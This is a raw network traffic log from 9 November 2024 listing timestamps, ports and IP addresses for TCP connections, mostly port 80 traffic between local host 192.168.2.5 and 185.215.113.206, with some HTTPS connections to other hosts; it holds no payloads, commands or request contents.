Nov 9, 2024 22:09:46.766829967 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766841888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766875982 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.766906023 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766916037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766928911 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766959906 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.767086029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.767098904 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.767110109 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.767128944 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.767158985 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.767317057 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.767348051 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.767355919 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.767359972 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.767400026 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.767544031 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.767600060 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.767632961 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.767648935 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.767683029 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.767842054 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.767853022 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.767863035 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.767875910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.767889977 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.767937899 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.768106937 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.768115997 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.768155098 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.768229961 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.768241882 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.768275023 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.768397093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.768408060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.768454075 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.779666901 CET	49900	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.779711962 CET	443	49900	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:46.779822111 CET	49901	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.779849052 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:46.779863119 CET	49900	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.779925108 CET	49901	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.780035973 CET	49902	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.780045986 CET	443	49902	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:46.780261040 CET	49903	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.780275106 CET	443	49903	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:46.780297041 CET	49902	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.780350924 CET	49903	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.780461073 CET	49904	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.780492067 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:46.780612946 CET	49905	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.780648947 CET	49904	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.780663967 CET	443	49905	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:46.780721903 CET	49905	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.780915976 CET	49900	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.780936956 CET	443	49900	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:46.781055927 CET	49901	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.781079054 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:46.781157017 CET	49902	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.781166077 CET	443	49902	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:46.781291008 CET	49903	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.781303883 CET	443	49903	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:46.781438112 CET	49904	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.781452894 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:46.781584024 CET	49905	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:46.781610966 CET	443	49905	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:46.844865084 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.844904900 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.844918013 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.844995022 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.845036030 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.845061064 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.845072985 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.845086098 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.845098972 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.845125914 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.845140934 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.845396042 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.845448971 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.883141994 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.883214951 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.883229017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.883240938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.883274078 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.883393049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.883404970 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.883419037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.883430958 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.883436918 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.883477926 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.883706093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.883723021 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.883735895 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.883755922 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.883784056 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.883939981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.883963108 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.883975029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.883989096 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.883991957 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.884000063 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.884011030 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.884021997 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.884022951 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.884037971 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.884047985 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.884063005 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.884087086 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.884586096 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.884598017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.884608984 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.884618998 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.884629965 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.884633064 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.884659052 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.884983063 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.884994030 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.885004044 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.885015011 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.885046005 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.885063887 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.885341883 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.885354996 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.885365963 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.885371923 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.885413885 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.885570049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.885586023 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.885598898 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.885608912 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.885627031 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.885631084 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.885643005 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.885663033 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.885749102 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.885773897 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.932110071 CET	443	49890	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:46.932594061 CET	49890	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:46.932616949 CET	443	49890	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:46.933470011 CET	49890	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:46.933475971 CET	443	49890	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:46.933648109 CET	49890	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:46.933657885 CET	443	49890	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:46.961193085 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.961249113 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.961265087 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.961359024 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.961359024 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.961571932 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.961584091 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.961616039 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.961632967 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.961693048 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.961705923 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.961798906 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.961879015 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.961915970 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.968185902 CET	443	49894	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:46.968527079 CET	49894	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:46.968554020 CET	443	49894	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:46.969611883 CET	443	49894	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:46.969840050 CET	49894	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:46.971437931 CET	49894	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:46.971510887 CET	443	49894	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:46.971649885 CET	49894	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:47.000336885 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.000356913 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.000372887 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.000449896 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.000462055 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.000462055 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.000544071 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.000633001 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.000646114 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.000665903 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.000679970 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.000689983 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.000726938 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.000828028 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.001082897 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.001096010 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.001120090 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.001144886 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.001249075 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.001261950 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.001355886 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.001418114 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.001432896 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.001445055 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.001457930 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.001466990 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.001490116 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.001509905 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.001597881 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.001610994 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.001655102 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.001952887 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.001967907 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.002028942 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.002028942 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.002151966 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.002166033 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.002178907 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.002186060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.002217054 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.002264977 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.002285004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.002440929 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.002475023 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.002480984 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.002486944 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.002499104 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.002512932 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.002526045 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.002526045 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.002545118 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.002567053 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.003050089 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.003089905 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.003103018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.003149986 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.003169060 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.003175974 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.003190994 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.003210068 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.003266096 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.017522097 CET	49894	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:47.017537117 CET	443	49894	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:47.045296907 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.045361996 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.045398951 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.045440912 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.045470953 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.052011013 CET	443	49892	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.054411888 CET	49892	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.054445982 CET	443	49892	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.054899931 CET	49892	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.054912090 CET	443	49892	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.064825058 CET	49894	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:47.078198910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.078262091 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.078274965 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.078284025 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.078315973 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.078497887 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.078551054 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.078600883 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.078613997 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.078644037 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.078670979 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.078800917 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.078815937 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.078855991 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.116914988 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.116990089 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.116991043 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.117003918 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.117047071 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.117170095 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.117182970 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.117237091 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.117345095 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.117358923 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.117383957 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.117410898 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.117577076 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.117594957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.117609024 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.117624998 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.117640018 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.117899895 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.117912054 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.117923975 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.117934942 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.117949009 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.117969036 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.118016005 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.118351936 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.118365049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.118376970 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.118388891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.118400097 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.118413925 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.118417025 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.118437052 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.118448973 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.118946075 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.118957996 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.118969917 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.118982077 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.118993044 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.119023085 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.119051933 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.119431019 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.119443893 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.119455099 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.119467020 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.119478941 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.119494915 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.119508028 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.119931936 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.119944096 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.119956017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.119966984 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.119980097 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.119987965 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.120021105 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.120665073 CET	443	49893	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:47.120944977 CET	49893	443	192.168.2.5	20.125.209.212
Nov 9, 2024 22:09:47.120959044 CET	443	49893	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:47.122042894 CET	443	49893	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:47.122127056 CET	49893	443	192.168.2.5	20.125.209.212
Nov 9, 2024 22:09:47.123224020 CET	49893	443	192.168.2.5	20.125.209.212
Nov 9, 2024 22:09:47.123291969 CET	443	49893	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:47.123507023 CET	49893	443	192.168.2.5	20.125.209.212
Nov 9, 2024 22:09:47.123513937 CET	443	49893	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:47.142391920 CET	443	49894	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:47.142460108 CET	443	49894	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:47.142640114 CET	49894	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:47.143383980 CET	49894	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:47.143399954 CET	443	49894	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:47.145364046 CET	49906	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:47.145401001 CET	443	49906	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:47.145668030 CET	49906	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:47.145849943 CET	49906	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:47.145864964 CET	443	49906	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:47.161916018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.161971092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.161983967 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.161983967 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.162020922 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.162091970 CET	443	49891	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:47.162528992 CET	49891	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:47.162547112 CET	443	49891	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:47.163654089 CET	443	49891	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:47.163732052 CET	49891	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:47.164755106 CET	49891	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:47.164828062 CET	443	49891	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:47.164952993 CET	49891	443	192.168.2.5	20.189.173.4
